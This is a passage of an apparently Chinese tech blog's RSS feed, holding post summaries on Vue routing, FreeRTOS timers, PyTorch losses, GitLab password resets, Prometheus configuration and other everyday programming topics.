式上是主观的。&#xA;意识的作用:&#xA;MKS指出:“观念的东西不过是外界移入人的头脑并在人的头脑中改造过的物质的东西而已。”这表明，辩证唯物主义在坚持物质决定意识，意识依赖于物质并反作用于物质又承认意识对物质具有能动作用。&#xA;注意：意识的能动作用是人的意识所特有的积极认识世界与改造世界的能力和活动&#xA;主要表现：&#xA;第一，意识活动具有目的性和计划性。&#xA;第二，意识活动具有创造性。&#xA;第三，意识具有指导实践改造客观世界的作用。&#xA;第四，意识具有调控人的行为和生理活动的作用。俗话说“笑一笑十年少，愁一愁白了多少反映了这个道理。&#xA;意识的作用。恩格斯这句话的意思是，理论思维能指导一个民族站在科学的高峰，正确的理论思维是一种正确的意识，能对一个民族的发展起到积极作用。&#xA;意识的本质。题干中的“感动”是指人的思想意识、情感，因而是人脑对客观世界的主观反映。意识的内容是客观的，而在形式上是主观的，所以意识是客观内容和主观形式的统一。&#xA;世界的物质统一性原理</description>
    </item>
    <item>
      <title>Vue（九）——页面路由（1）</title>
      <link>https://bchobby.github.io/posts/cd7ba703bfecd0d4945aedb568f704fb/</link>
      <pubDate>Thu, 17 Nov 2022 04:06:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd7ba703bfecd0d4945aedb568f704fb/</guid>
      <description>目录&#xA;路由的简介&#xA;路由基本使用&#xA;几个注意点&#xA;嵌套（多级）路由&#xA;路由的query参数&#xA;命名路由&#xA;路由的params参数&#xA;路由的props配置&#xA;路由的简介 理解： 一个路由（route）就是一组映射关系（key - value），多个路由需要路由器（router）进行管理。&#xA;前端路由：key是路径，value是组件。&#xA;理解：value 是 component，用于展示页面内容工作过程：当浏览器的路径改变时，对应的组件就会显示 生活中的路由和路由器是为了完成多台设备的上网，而编码中的路由和路由器是完为了完成实现SPA应用的导航区与展示区的切换。&#xA;对SPA应用的理解&#xA;单页 Web 应用（single page web application，SPA）整个应用只有一个完整的页面点击页面中的导航链接不会刷新页面，只会做页面的局部更新数据需要通过ajax请求获取 路由基本使用 提出如下需求：&#xA;将html粘贴到App.vue&#xA;在main.js当中引入router之后可以使用一个全新的对象router。但不可像下图一样设置成字符串，需要自己去创建一个路由。&#xA;创建index.js专门用于创建整个应用的路由器 （routes为数组形式）&#xA;./router/index.js&#xA;// 该文件专门用于创建整个应用的路由器 import VueRouter from &#39;vue-router&#39; //引入组件 import About from &#39;../components/About&#39; import Home from &#39;../components/Home&#39; //创建并暴露一个路由器 export default new VueRouter({ routes:[ { path:&#39;/about&#39;, component:About }, { path:&#39;/home&#39;, component:Home } ] }) ./components/About.vue&#xA;&amp;lt;template&amp;gt; &amp;lt;h2&amp;gt;我是About的内容&amp;lt;/h2&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name:&#39;About&#39; } &amp;lt;/script&amp;gt; .</description>
    </item>
    <item>
      <title>fastgithub</title>
      <link>https://bchobby.github.io/posts/82e96a9cbbd8baf1179dc94b8d950247/</link>
      <pubDate>Wed, 16 Nov 2022 23:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82e96a9cbbd8baf1179dc94b8d950247/</guid>
      <description>之前我在网上搜过解决办法，其中一个是修改 hosts 文件，但是效果不太理想。我在这里给大家推荐github上的一个开源项目：FastGithub 。用了这个之后，效果就比较理想了，次次都能访问到。&#xA;源码地址：GitHub - dotnetcore/FastGithub: github加速神器，解决github打不开、用户头像无法加载、releases无法上传下载、git-clone、git-pull、git-push失败等问题&#xA;应用程序地址：Releases · dotnetcore/FastGithub · GitHub&#xA;源码大家想看可以下载下来看看，如果不想看，就直接去下载应用程序运行即可。&#xA;但是大家有的打不开github，谈何下载？&#xA;我试了把它同步在gitee上，但是同步过来的好像只有源代码。大家如果有解决方案的话，可以评论告诉我。我是有应用程序的文件的，可以发给大家。&#xA;打开应用程序地址之后，点击适合自己的下载即可，我的是windows的，所以我下载的windows的版本：&#xA;下载完成之后，会得到如下文件：&#xA;运行起来非常简单，还看什么README.md文件，直接双击运行我用红框圈起来的应用程序即可运行 FastGithub.UI.exe。第一次运行可能会提示你有风险，大家选择允许运行即可，运行起来之后，再去访问 github.com 就能明显感觉到了！&#xA;运行之后界面：我只知道，我运行了这个 github访问就贼快。这里还有打赏，如果大家有钱的话，可以打赏一下（我这个也算给作者打广告了吧？），我俩不认识。但是作者写这些代码也不容易。不打赏也能正常使用的，大家不用担心。&#xA;————————————————&#xA;版权声明：本文为CSDN博主「外面要下雨」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/qq_67929543/article/details/125677366</description>
    </item>
    <item>
      <title>基于STM32结合CubeMX学习Free-RT-OS的源码之深入学习软件定时器实现过程</title>
      <link>https://bchobby.github.io/posts/0e978e9cd6d39fb936cce934e8a9c258/</link>
      <pubDate>Wed, 16 Nov 2022 20:39:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e978e9cd6d39fb936cce934e8a9c258/</guid>
      <description>概述 关于在CUBEMX上的配置 介绍 软件定时器基于硬件定时器实现。&#xA;软件定时器允许设置一段时间，当设置的时间到达之后就执行指定的功能函数，被定时器&#xA;调用的这个功能函数叫做定时器的回调函数。回调函数的两次执行间隔叫做定时器的定时周期，&#xA;简而言之，软件定时器的定时周期到了以后就会执行回调函数。&#xA;Free RT OS基于systick中断产生计数值。软件定时其开始计数，当计数值到了所设置的时间时执行回调函数。&#xA;在RT-Thread中 软件定时器的定时回调函数直接放到了systick的中断回调函数里进行处理，但Free-RT-OS并没有这样做，主要原因是在于不知道定时处理回调函数需要花费多少时间，使得systick的节拍受到影响。&#xA;那么软件定时器是如何处理回调函数的?&#xA;答:Free RT OS创建了一个管理软件定时器的任务，叫做DaemonTask 也被称为守护任务，由它处理软件定时器的定时回调函数。&#xA;Free RT OS允许用户自己选择是否使用软件定时器。&#xA;当选择使用软件定时器时，Free RTOS内部的具体流程： Free RT OS为管理软件定时器创建的 守护任务，定时器链表，超时链表，定时器命令队列。对应下面的代码。&#xA;具体过程：&#xA;1 ： 当使用了软件定时器，则在开启调度器时，创建Daemon Task(守护任务)&#xA;osKernelStart() -&amp;gt;vTaskStartScheduler()（启动调度器）-&amp;gt; xTimerCreateTimerTask(); （创建守护任务)&#xA;创建守护任务&#xA;2：守护任务内部定时任务的函数入口 prvTimerTask&#xA;3： 同时在创建内部调用 prvCheckForValidListAndQueue&#xA;prvCheckForValidListAndQueue (创建定时器命令队列，创建当前定时器链表和超时定时器链表。&#xA;4：守护任务的函数入口 prvTimerTask&#xA;查询计时器列表，看看它是否包含任何计时器，如果包含，获取下一个计时器将过期的时间。如果计时器已过期，则处理它。否则，阻塞此任务。直到计时器过期或收到命令为止。处理软件定时器的命令接受。（开启，关闭，调整周期，复位） 到这，已经能摸清除软件定时器工作流程的大概了。&#xA;以上都是RTOS内部为管理软件定时器所做的辅助工作。&#xA;再看看创建软件定时器：&#xA;软件定时器刚创建处于休眠态。&#xA;调用开启软件定时器的API(xTimerStart)后则把封装一个message对象 ,写入定时器命令队列。（这个定时器命令队列就是在守护函数中所创建的那个）&#xA;#define xTimerStart( xTimer, xTicksToWait ) xTimerGenericCommand( ( xTimer ), tmrCOMMAND_START, ( xTaskGetTickCount() ), NULL, ( xTicksToWait ) )</description>
    </item>
    <item>
      <title>阿里字体图标库的使用</title>
      <link>https://bchobby.github.io/posts/3af97fc05a0f479355b38ce045233c1f/</link>
      <pubDate>Wed, 16 Nov 2022 17:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3af97fc05a0f479355b38ce045233c1f/</guid>
      <description>https://www.iconfont.cn/阿里字体图标库网址&#xA;选择首页顶部导航栏里面的 资源管理 —》 我的项目&#xA;如果还未创建项目，请先创建项目，并添加想要的图标&#xA;一.通过symbol引入svg图片（vue项目或者原生框架） 第一步：拷贝项目下面生成的symbol代码：&#xA;//at.alicdn.com/t/font_8d5l8fzk5b87iudi.js 第二步：加入通用css代码（引入一次就行）：&#xA;&amp;lt;style type=&#34;text/css&#34;&amp;gt; .icon { width: 1em; height: 1em; vertical-align: -0.15em; fill: currentColor; overflow: hidden; } &amp;lt;/style&amp;gt; 第三步：挑选相应图标并获取类名，应用于页面：&#xA;&amp;lt;svg class=&#34;icon&#34; aria-hidden=&#34;true&#34;&amp;gt; &amp;lt;use xlink:href=&#34;#icon-xxx&#34;&amp;gt;&amp;lt;/use&amp;gt; &amp;lt;/svg&amp;gt; 二.通过symbol引入svg图片（react框架) 第一步&#xA;import { createFromIconfontCN } from &#39;@ant-design/icons&#39;; 第二步，尽量添上https将地址补全&#xA;const IconFont = createFromIconfontCN({ scriptUrl: &#39;https://at.alicdn.com/t/font_8d5l8fzk5b87iudi.js&#39;, }); 第三步，icon的样式可以自己视情况进行修改，type对应的值就是字体图标库里面每个图标下面对应的字符串名字&#xA;&amp;lt;IconFont className=&#34;icon&#34; type=&#34;iconFrame19&#34;&amp;gt;&amp;lt;/IconFont&amp;gt; 三.通过symbol引入svg图片（react框架+ umi） 在项目根目录下找到umircs.ts配置文件&#xA;在export default defineConfig（{&#xA;}）里面添加 scripts: [&#xA;‘https://at.alicdn.com/t/font_8d5l8fzk5b87iudi.js’,&#xA;],同样记得把地址补全&#xA;export default defineConfig({ runtimePublicPath: false, publicPath: baseURL, history: { type: &#39;hash&#39;, }, scripts: [ &#39;https://at.</description>
    </item>
    <item>
      <title>c/c&#43;&#43;数据的排序方法（函数&#43;数组《选择排序法》）</title>
      <link>https://bchobby.github.io/posts/9fdab8ed4ba644d5841ab104878226b8/</link>
      <pubDate>Wed, 16 Nov 2022 17:50:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fdab8ed4ba644d5841ab104878226b8/</guid>
      <description>【例】数组的排序问题——输入n个学生的成绩，按成绩由高到低的方式输出。&#xA;分析：&#xA;输入n个学生成绩——可以调array_in( )函数&#xA;按从大到小顺序排列成绩——调sort( )函数&#xA;输出排序后的成绩——可以调array_out( )函数&#xA;这里我们主要来讨论排序的函数&#xA;1.选择法排序&#xA;进行多轮选择，第一轮选一个最大数（将a[0]与a[1]~a[n-1]进行比较，后者大则交换），第二轮选第二个最大数（将a[0]与a[1]~a[n-1]进行比较，后者大则交换）第n-1轮选第n-1个最大数（第n-1次选第n-1大数：将a[n-2]与a[n-1]进行比较，后者大则交换。）&#xA;由此可知&#xA;用循环i表示选大数的次数，即：i=0;i&amp;lt;n;i++&#xA;用循环j表示比较的次数，即：j=i+1;j&amp;lt;n;j++&#xA;比较x[i]&amp;lt;x[j] —— 当为真则两者交换。&#xA;函数如下：&#xA;void sort(float x[],int n) { int i,j;float t; for (i=0;i&amp;lt;n-1;i++) for (j=i+1;j&amp;lt;n;j++) if (x[i]&amp;lt;x[j]){ t=x[i]; x[i]=x[j]; x[j]=t; } } 选择法的改进&#xA;此种方法每一次比较会将较大值放在前面一个，非常的繁琐。那么我们为何不定义一个可变的最大值呢？每比较一次就将最大值放入一轮下来最大的就给这个变量赋值成了最大。最小同理。&#xA;函数如下&#xA;void sort(float x[],int n){ int i,j,k;float t,m; for (i=0;i&amp;lt;n-1;i++){ k=i;m=x[i]; for (j=i+1;j&amp;lt;n;j++) if (m&amp;lt;x[j]){ m=x[j];k=j; } if (i!=k)//如果最大值为其本身 { t=x[i];x[i]=x[k];x[k]=t; } } } 谢谢大家！</description>
    </item>
    <item>
      <title>前台 post方法提交却变成了 get 方法</title>
      <link>https://bchobby.github.io/posts/2e150e16c216456b7914bef8b57f5f6e/</link>
      <pubDate>Wed, 16 Nov 2022 16:26:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e150e16c216456b7914bef8b57f5f6e/</guid>
      <description>最近遇到了一个小麻烦，那就是我在 js 文件中用post 方法提交，到后台调用的却是get 方法，一开始还以为是$.post()的一些参数问题，仔细看了一下$.post()的说明，发现没有错误，顿时就郁闷了。&#xA;一直以为问题应该出在post()方法上面，所以也是各种查找post()的相关说明，折腾了好久－。－终于最后顺着自己设的一些断点查找问题，找到了 代码 中的一个bug。&#xA;对于有提交功能（如form的submit）的函数进行操作时，如果代码出错，会触发自动提交功能，然后以 GET 方法提交数据到后台处理。</description>
    </item>
    <item>
      <title>nn.CrossEntropyLoss()交叉熵损失函数</title>
      <link>https://bchobby.github.io/posts/12ed80cd4835c957eaacd8b3a3dc4fdc/</link>
      <pubDate>Wed, 16 Nov 2022 16:16:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12ed80cd4835c957eaacd8b3a3dc4fdc/</guid>
      <description>1、nn.CrossEntropyLoss() 在pytorch中nn.CrossEntropyLoss()为交叉熵损失函数，用于解决多分类问题，也可用于解决二分类问题。在使用nn.CrossEntropyLoss()其内部会自动加上Sofrmax层&#xA;nn.CrossEntropyLoss()的计算公式如下：&#xA;其中， log以e为底，nn.CrossEntropyLoss(x, lable),有两个参数&#xA;第一个参数：x为输入也是网络的最后一层的输出，其shape为[batchsize,class]（函数要求第一个参数，也就是最后一层的输出为二维数据，每个向量中的值为不同种类的概率值）第二个参数：是传入的标签，也就是某个类别的索引值，在上面公式没有参与计算。batch_size如果是1，那么就只有一个数字，0，1或者2，表示的就是此时这个样本对应的真实类别，如果为batch_size是2，那么就有两个数字，例如（0，1），分别表示这两条样本对应的真实类别。 例如，输入（也就是最后一层的输出）为x=[[4,8,3]]，shape=(1,3),即batchsize=1，class=3&#xA;第一步 我们首先计算一下三种类别分别对应的损失 loss(x,0) =-x[0]+log(exp(x[0])+exp(x[1])+exp(x[2]))=-4+log(exp(4)+exp(8)+exp(3))=-4+8.0247=4.0247 loss(x,1) =-x[1]+log(exp(x[0])+exp(x[1])+exp(x[2]))=-8+log(exp(4)+exp(8)+exp(3))=-8+8.0247=0.0247 loss(x,2) =-x[2]+log(exp(x[0])+exp(x[1])+exp(x[2]))=-3+log(exp(4)+exp(8)+exp(3))=-3+8.0247=5.0247 第二步 用第二个参数（一维数据）也就是类别对应的索引值，在上面结果中选择对应的损失，例如若网络的输出为x=[[4,8,3]]，而对应的标签为1，则得到损失函数loss=0.0247。 2、BCELoss BCELoss是Binary CrossEntropyLoss的缩写，nn.BCELoss()为二元交叉熵损失函数，只能解决二分类问题。在使用nn.BCELoss()作为损失函数时，需要在该层前面加上Sigmoid函数，一般使用nn.Sigmoid()即可。&#xA;3、nn.MSELoss ps:用与解决回归问题，常用pytorch的nn.MSELoss损失函数（均方损失函数）&#xA;————————————————&#xA;版权声明：本文为CSDN博主「东城西阙」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/qq_35605081/article/details/108368276</description>
    </item>
    <item>
      <title>Jetlinks物联网平台部署</title>
      <link>https://bchobby.github.io/posts/f410c866df90037da0e8242fb5e0e277/</link>
      <pubDate>Wed, 16 Nov 2022 15:53:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f410c866df90037da0e8242fb5e0e277/</guid>
      <description>前端部署&#xA;用git拉取前端代码：&#xA;$ git clone https://github.com/jetlinks/jetlinks-ui-antd.git 使用yarn打包推荐（命令在项目根目录下执行）&#xA;yarn install yarn run build 使用npm打包（命令在项目根目录下执行）&#xA;npm install npm run-script build 复制dist目录到nginx下&#xA;#查找nginx的目录 [root@VM-16-6-centos jetlinks-ui-antd]# find / -name nginx /www/server/nginx /www/server/nginx/sbin/nginx /www/server/panel/rewrite/nginx #将打包好的dist文件复制到nginx代理的路径： cp -r dist /www/server/nginx/html 修改nginx配置文件 件配置内容如下：&#xA;server { listen 80; # gzip config gzip on; gzip_min_length 1k; gzip_comp_level 9; gzip_types text/plain text/css text/javascript application/json application/javascript application/x-javascript application/xml; gzip_vary on; gzip_disable &#34;MSIE [1-6]\.&#34;; root /usr/share/nginx/html/dist; #这里设置根路径，若连同dist一起复制到html下的，要加上dist，不然就会出现找不到的情况 include /etc/nginx/mime.types; location / { index index.</description>
    </item>
    <item>
      <title>gitlab重置用户账号密码，包括root账号</title>
      <link>https://bchobby.github.io/posts/baba934c2ad0442e5c595065a555eb2b/</link>
      <pubDate>Wed, 16 Nov 2022 15:23:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baba934c2ad0442e5c595065a555eb2b/</guid>
      <description>前提 需要知道gitlab账号的用户名，id，或者邮箱其一需要gitlab实例机器的管理员权限账号新密码必须符合gitlab密码规则 操作 打开Rails Consolesudo gitlab-rails console 找到gitlab用户 通过用户名 user = User.find_by_username &#39;exampleuser&#39; 通过id user = User.find(123) 通过邮箱 user = User.find_by(email: &#39;user@example.com&#39;) 重置密码&#xA;重置为随机密码：new_password = ::User.random_password user.password = new_password user.password_confirmation = new_password 重置为自定义密码：new_password = &#39;examplepassword&#39; user.password = new_password user.password_confirmation = new_password 可以是否邮件通知用户user.send_only_admin_changed_your_password_notification! 保存用户user.save! 退出控制台exit 重置root账号密码 如果要重置root账号的密码&#xA;如果root用户名没改过，直接通过root查找如果用户名修改了，并且不知道新的用户名，通过id为1查找，一般root账号id就是1 问题 修改不生效&#xA;可能是因为打开了邮箱验证，可以通过rail console关闭。 user = User.find(1) user.skip_reconfirmation! 没有root账号&#xA;遇到过部署的gitlab没有root账号的情况,通过手动将其他用户设为root账号解决 查看用户属性 u = User.find(1) pp u.attributes irb(main):003:0&amp;gt; pp u.attributes {&#34;id&#34;=&amp;gt;1, &#34;email&#34;=&amp;gt;&#34;admin@example.com&#34;, &#34;admin&#34;=&amp;gt;false, ##这个属性表示是否为管理员 .</description>
    </item>
    <item>
      <title>mysql 查看锁表信息</title>
      <link>https://bchobby.github.io/posts/d24c0067c94b1d84eb618b5c3239688a/</link>
      <pubDate>Wed, 16 Nov 2022 15:19:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d24c0067c94b1d84eb618b5c3239688a/</guid>
      <description>// 查看进程&#xA;SHOW PROCESSLIST;&#xA;// 查看是否锁表&#xA;SHOW OPEN TABLES WHERE In_use &amp;gt; 0;&#xA;// 查看正在锁的事务&#xA;SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCKS; // 查看等待锁的事务&#xA;SELECT * FROM INFORMATION_SCHEMA.INNODB_LOCK_WAITS;&#xA;通过以下的语句查询出锁表的SQL：&#xA;select l.session_id sid,&#xA;s.serial#,&#xA;l.locked_mode,&#xA;l.oracle_username,&#xA;s.user#,&#xA;l.os_user_name,&#xA;s.machine,&#xA;s.terminal,&#xA;a.sql_text,&#xA;a.action&#xA;from v$sqlarea a, v$session s, v$locked_object l&#xA;where l.session_id = s.sid&#xA;and s.prev_sql_addr = a.address&#xA;order by sid, s.serial#;</description>
    </item>
    <item>
      <title>prometheus 配置文件详解</title>
      <link>https://bchobby.github.io/posts/761e54cedfd7a095475df7872ae14841/</link>
      <pubDate>Wed, 16 Nov 2022 14:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/761e54cedfd7a095475df7872ae14841/</guid>
      <description>目录 prometheus 配置文件详解 简介配置文件 原始配置文件内容global字段alerting 字段 alert_relabel_configsalertmanagersrule_files 规则分组rule_groupalerting rules定义Recording rules使用模板规则检查scrape_configs字段 job_namehonor_labelsschemeparams抓取认证类basic_authbearer_tokentls_configproxy_url服务发现类static_configs数据过滤类target配置示例sample_limit远程读写 remote_readremote_write参考文档 prometheus 配置文件详解 简介 Prometheus配置方式有两种：&#xA;命令行，用来配置不可变命令参数，主要是Prometheus运行参数，比如数据存储位置配置文件，用来配置Prometheus应用参数，比如数据采集，报警对接 不重启进程配置生效方式有两种:&#xA;对进程发送信号SIGHUPHTTP POST请求，需要开启–web.enable-lifecycle选项curl -X POST http://192.168.66.112:9091/-/reload 配置文件格式是yaml格式,.yml或者.yaml 都是 yaml格式的文件， yaml格式的好处: 和json交互比较容易 python/go/java/php 有yaml格式库，方便语言之间解析,并且这种格式存储的信息量很大&#xA;配置文件 配置文件使用yml格式，配置文件中一级配置项如下，说明参考#备注内容&#xA;＃全局配置 (如果有内部单独设定，会覆盖这个参数) global: ＃告警插件定义。这里会设定alertmanager这个报警插件。 alerting: ＃告警规则。 按照设定参数进行扫描加载，用于自定义报警规则，其报警媒介和route路由由alertmanager插件实现。 rule_files: ＃采集配置。配置数据源，包含分组job_name以及具体target。又分为静态配置和服务发现 scrape_configs: ＃用于远程存储写配置 remote_write: ＃用于远程读配置 remote_read: 配置文件中通用字段值格式 : 布尔类型值为true和false : 协议方式包含http和https&#xA;原始配置文件内容 # my global config global: scrape_interval: 15s # Set the scrape interval to every 15 seconds. Default is every 1 minute.</description>
    </item>
    <item>
      <title>vscode配置prettier格式化工具</title>
      <link>https://bchobby.github.io/posts/323f19349a3bbb3df25d7a873bbf901f/</link>
      <pubDate>Wed, 16 Nov 2022 13:40:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/323f19349a3bbb3df25d7a873bbf901f/</guid>
      <description>1. 在 vscode 中搜索 prettier 插件，然后安装。&#xA;2. 在 vscode 中，设置-》文本编辑器-》格式化 勾选&#34;Fromat On Save&#34;，这样保存后自动格式化&#xA;3. 在 `package.json` 同级目录创建 `.prettierrc` 文件，下面为配置说明，注意要去掉注释&#xA;```&#xA;{&#xA;&#34;printWidth&#34;: 100, // 超过最大值换行 &#34;overrides&#34;: [&#xA;{&#xA;&#34;files&#34;: &#34;.prettierrc&#34;,&#xA;&#34;options&#34;: { &#34;parser&#34;: &#34;json&#34; }&#xA;}&#xA;],&#xA;&#34;tabWidth&#34;: 4, // 缩进字节数 &#34;useTabs&#34;: false, // 缩进不使用tab，使用空格 &#34;semi&#34;: true, // 句尾添加分号 &#34;singleQuote&#34;: true, // 使用单引号代替双引号 &#34;proseWrap&#34;: &#34;preserve&#34;, // 默认值。因为使用了一些折行敏感型的渲染器（如GitHub comment）而按照markdown文本样式进行折行 &#34;arrowParens&#34;: &#34;avoid&#34;, // (x) =&amp;gt; {} 箭头函数参数只有一个时是否要有小括号。avoid：省略括号 &#34;bracketSpacing&#34;: true, // 在对象，数组括号与文字之间加空格 &#34;</description>
    </item>
    <item>
      <title>类似ps的python工具lama cleaner</title>
      <link>https://bchobby.github.io/posts/7caa422db213792fcac71f247363cf38/</link>
      <pubDate>Wed, 16 Nov 2022 13:35:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7caa422db213792fcac71f247363cf38/</guid>
      <description>Lama Cleaner是个类似ps图片的工具，可以把图片中不想要的部分p掉，或者填补图片中丢失的部分。用下来感觉还蛮靠谱，对于不会ps的人是福音，记录一下。&#xA;相关介绍：https://github.com/Sanster/lama-cleaner&#xA;1.安装&#xA;安装非常简单，这里说的是win环境没有cuda，要先装个python3.7或者以上版本。&#xA;打开cmd，输入下面的代码，等待安装完成：&#xA;pip install lama-cleaner 2.使用&#xA;lama cleaner是通过算法修改图片的，可以手动下载训练库放到这：C:\Users\你的用户名\.cache\torch\hub\checkpoints。也可以在运行时通过settings切换模式后等它自动下载。&#xA;训练库下载链接：&#xA;Baidu: 百度网盘 请输入提取码passward: flsu ##1 打开cmd，输入下面代码：&#xA;lama-cleaner --device=cpu --port=8080 --host=0.0.0.0 这里相关选项可以参考介绍里的内容，cmd不要关闭，这个服务会挂一个网页。&#xA;##2 打开浏览器输入：http://localhost:8080/&#xA;就可以进去使用了。&#xA;##3 功能如下图：&#xA;不同模式下修图的效果会不同，详见介绍，一般默认就行了。</description>
    </item>
    <item>
      <title>Qt-OpenCV学习笔记--计算周长--arcLength()</title>
      <link>https://bchobby.github.io/posts/a1e73408c6d7d874938fb2f42d7a4d98/</link>
      <pubDate>Wed, 16 Nov 2022 13:11:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1e73408c6d7d874938fb2f42d7a4d98/</guid>
      <description>概述 这个函数用来计算 轮廓的周长 或者 曲线的长度。&#xA;函数 double cv::arcLength ( InputArray curve, bool closed )&#x9;curve计算对象（轮廓 或者 图形的顶点）closed标识符（曲线是否闭合，一般为true） 测试代码 #include &#34;widget.h&#34; #include &#34;ui_widget.h&#34; #include &amp;lt;opencv2/core/core.hpp&amp;gt; #include &amp;lt;opencv2/highgui/highgui.hpp&amp;gt; #include &amp;lt;opencv2/imgproc/imgproc.hpp&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;QDebug&amp;gt; using namespace cv; using namespace std; Widget::Widget(QWidget *parent) : QWidget(parent) , ui(new Ui::Widget) { ui-&amp;gt;setupUi(this); //生成画板 Mat mat = Mat::zeros(500,500,CV_8UC1); //构造点 Point2f a(100,100); Point2f b(400,100); Point2f c(400,400); Point2f d(100,400); //生成轮廓 vector&amp;lt;Point&amp;gt; contour_rec; contour_rec.push_back(a); contour_rec.push_back(b); contour_rec.push_back(c); contour_rec.push_back(d); //计算矩形的周长 double len_rec = cv::arcLength(contour_rec,true); //打印 qDebug()&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>数据结构小知识</title>
      <link>https://bchobby.github.io/posts/c6ee01a3316987b7fffeba1dc8930a6a/</link>
      <pubDate>Wed, 16 Nov 2022 12:10:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6ee01a3316987b7fffeba1dc8930a6a/</guid>
      <description>算法设计要求 1.正确性、2.可读性、3.健壮性、4.高效率地存储&#xA;算法效率的度量&#xA;时间复杂度：随着问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同简称渐近时间复杂度&#xA;频度：语句的执行次数。&#xA;空间复杂度：算法所需要空间&#xA;一&#xA;int i = 1; int k = 0; int n = 10; while(i &amp;lt;= n-1){ k += 10 * i; /*计算该语句频度*/ i++; } while 循环了多少次，就是该语句的频度 while 执行一次 i 自增 1 ，当 i&amp;gt;n-1 时退出，就是当 i=n 时退出 while，i 一开始为 1，所以 while 总共循环了 n-1 次; 频度 ：n-1&#xA;二&#xA;int i = 1; int k = 0; int n = 10; do{ k += 10 * i; /*计算该语句频度*/ i++; }while(i &amp;lt;= n-1); 循环了多少次，就是该语句的频度 循环体执行一次 i 自增 1 ，当 i&amp;gt;n-1 时退出，就是当 i=n 时退出循环体，i 一开始为 1</description>
    </item>
    <item>
      <title>多时钟--RTL前仿真，仿真工具误采样问题</title>
      <link>https://bchobby.github.io/posts/2716d9b09df7e28b79e28a54bfe1c61d/</link>
      <pubDate>Wed, 16 Nov 2022 11:44:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2716d9b09df7e28b79e28a54bfe1c61d/</guid>
      <description>在数字设计中，会遇到处理多个时钟的问题（如下面的a_clk、apb_clk），虽然在综合时，会将处于同一个时钟域的clock放在一个group中，保证了时序的同步性。但是，在RTL前仿中，仿真工具不会对其进行识别，会认为多个时钟处于不同的时钟域，从而会出现采样位置不对的现象。&#xA;下面的逻辑，组合逻辑信号a_sel处于a_clk下，a_cs时序逻辑处于apb_clk下。&#xA;简单的仿真结果如下：&#xA;从上面RTL仿真可以看出：&#xA;位置1处： 虽然a_sel拉高了，apb_clk按道理应该采样到该信号，然后a_cs拉高，但是结果并非如此。这是因为仿真工具对不同的时钟域之间的信号分析后，判定为此处采样不到高电平。&#xA;位置2处：&#xA;虽然a_sel拉低了，apb_clk按道理应该采样不到高电平信号，但是结果并非如此。这是因为仿真工具，对不同的时钟域之间的信号分析后，判定为此处可以采样到高电平，所以位置3处a_cs拉高。&#xA;在设计仿真阶段，一定要注意该问题，不然会造成仿真结果与实际设计出现误差，或者RTL仿真与后仿真结果不一致，浪费时间去排查问题。&#xA;在RTL设计阶段，可以采用# delay将信号的相位错开，来保证前仿真阶段的逻辑正确性，避免时钟域的误判段问题。</description>
    </item>
    <item>
      <title>电脑视频怎么录制？好用的电脑录屏方法</title>
      <link>https://bchobby.github.io/posts/df96ed7d7822cbd4f5154afa04061eae/</link>
      <pubDate>Wed, 16 Nov 2022 11:33:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df96ed7d7822cbd4f5154afa04061eae/</guid>
      <description>在日常使用电脑的时候，很多小伙伴经常会遇到需要录制电脑视频的时候。但网上各种眼花缭乱的电脑录屏方法，很多小伙伴看了表示自己根本没有学会。今天就给大家分享2个简单好用的电脑录屏方法，看完后轻松掌握电脑录屏。&#xA;一．使用Windows系统自带的录屏功能 如果你的电脑是Windows10系统，那么不妨使用系统自带的Xbox Game Bar录屏功能进行电脑录屏。&#xA;步骤1：在“开始菜单栏”中打开“设置”，搜索并找到 “Xbox Game Bar”，点击，使其处在“开启状态”。&#xA;步骤2：回到桌面，使用快捷键“Win+Alt+G”打开屏幕录制功能，也可以使用快捷键“Win+Alt+R”直接开启录制。&#xA;二．使用数据蛙录屏软件 Windows自带的Xbox Game 